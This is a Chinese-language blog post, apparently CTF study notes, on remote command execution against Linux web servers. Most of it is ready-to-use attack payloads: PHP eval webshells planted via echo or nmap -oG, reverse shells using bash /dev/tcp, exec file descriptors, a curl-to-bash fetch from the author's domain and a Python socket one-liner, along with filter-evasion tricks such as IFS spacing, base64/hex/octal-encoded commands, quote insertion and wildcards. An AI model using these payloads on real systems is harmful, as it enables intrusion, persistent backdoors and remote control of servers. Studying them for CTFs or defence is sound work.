RCE基础

作者: const27 分类: All,RCE 发布时间: 2020-06-03 10:31

RCE

利用方法:

没有特殊说明以下都是linux系统

1.写入后门

echo "<?php eval($_POST['mima']); ?>" >3.php

就可以写入一个木马到当前文件.要注意的一点是,如果写入的是linux系统,$符要用\转义一下就像这样\$,因为在linux系统里会把$..当作变量.

2.任意文件读取

ls命令开路,cat命令读文件

3.反弹shell

1.bash/sh法(bash -i:开启一个交互式bash终端,当然你不加-i也可以)

bash/sh -i >& /dev/tcp/ip/port 0>&1

>&的意思是把标准输出和标准错误输出重定向到指定设备. 0>&1指把标准输入重定向到标准输出的位置上,也就是/dev/tcp/ip/port,你也可以写成0<&1
2.bash/sh方法也可以和exec命令一起使用

exec number > ...  将一个文件描述符重定向到指定文件描述符或文件
于是就有如下payload
exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

3.curl法

curl http://www.const28.com/a.txt|bash  a.txt上是我的反弹shell指令

4.nmap中的 -oG命令(较苛刻) 如果某个环境下用到了nmap并且可以远程命令执行,就可以用-oG命令上传木马
-oG命令的作用是将nmap语句与扫描的结果一同记录在目标文件上。

nmap '....' -oG 目标文件

那我们这样写,就可以传入后门了:

nmap '<?php eval($_POST["a"]);?>' -oG 1.php
但是一般做题时,要在代码两边写上空格,再写上双引号
' <?php eval($_POST["a"]);?> -oG 1.php '

5.嫖来的python弹shell(原理后补),需python3环境

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

6.nc

绕过方法:

没有特殊说明以下都是linux系统

1.空格被禁用:

image

${IFS},$IFS$1 代替空格
<> 等标准输入符来代替空格
{} 利用花括号执行系统命令,这样执行命令不需要空格.具体做法是{command,args,args,args··}

2.拼接绕过:

利用linux里的变量,可以实现拼接语句达到绕过

3.编码绕过:

echo出一段加密字符,通过管道符扔给解密命令,再通过管道符把解密结果扔给bash执行或者直接内联执行

base64编码:以ls为例,ls的base64加密结果为bHM=。
echo/printf bHM=|base64 -d|bash     //base64 -d是解码base64的意思。
当然你也可以用${}和``来内联执行,比如这样${echo bHM=|base64 -d}
hex十六进制绕过:以ls为例,ls的十六进制普通文本是6c730a
echo/printf 6c730a|xxd -p -r|bash   
//xxd -p的意思是以普通文本的情况处理信息,-r是解码
同样也可以用${}和``
oct八进制绕过:以ls为例,ls的八进制文本是\154\163
printf "\154\163"|bash    //注意这里只能用printf不能用echo,而且要加引号
同样也可以用${}和``

4.引号绕过与反斜杠绕过(插入绕过)

image

在命令里插入”或””或\都可以使命令正常执行

5.利用一些shell里的特殊变量

$0 当前脚本文件名.大部分情况下是-bash,可以用他某些情况下的绕过bash过滤
$n n是数字,从0~9,意思是传递给脚本的第n个参数值。若没有传递参数值,则该值为空.可以用于插入绕过(为空时)
$*和$@ 传递给脚本或函数的所有参数,不存在时其值为空,可以用于插入绕过(为空时)

6.内联执行

利用`和${}可以优先处理其内部的命令来实现一些绕过<br/> 具体操作有很多,说一个就可以了<br/> cat \ls` 可以把当前目录的源码全都cat出来

7.利用通配符

比如flag.html被过滤了,你又想cat它,就可以用通配符了

cat flag*   //*匹配任意长度的任意字符
cat flag.???? //?匹配单个任意字符
cat fla[a-z].html //[]匹配单个括号里的单个字符的字符,[abcdef]可以匹配
                  //abcdef当中的任意字符,[a-z]则可以匹配a-z的任意字符

8.cat被过滤时

使用和cat功能相近的命令:cat、tac、more、less、head、tail、nl、sed、sort、uniq

9.PHP里与rce相关的的函数们

"exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云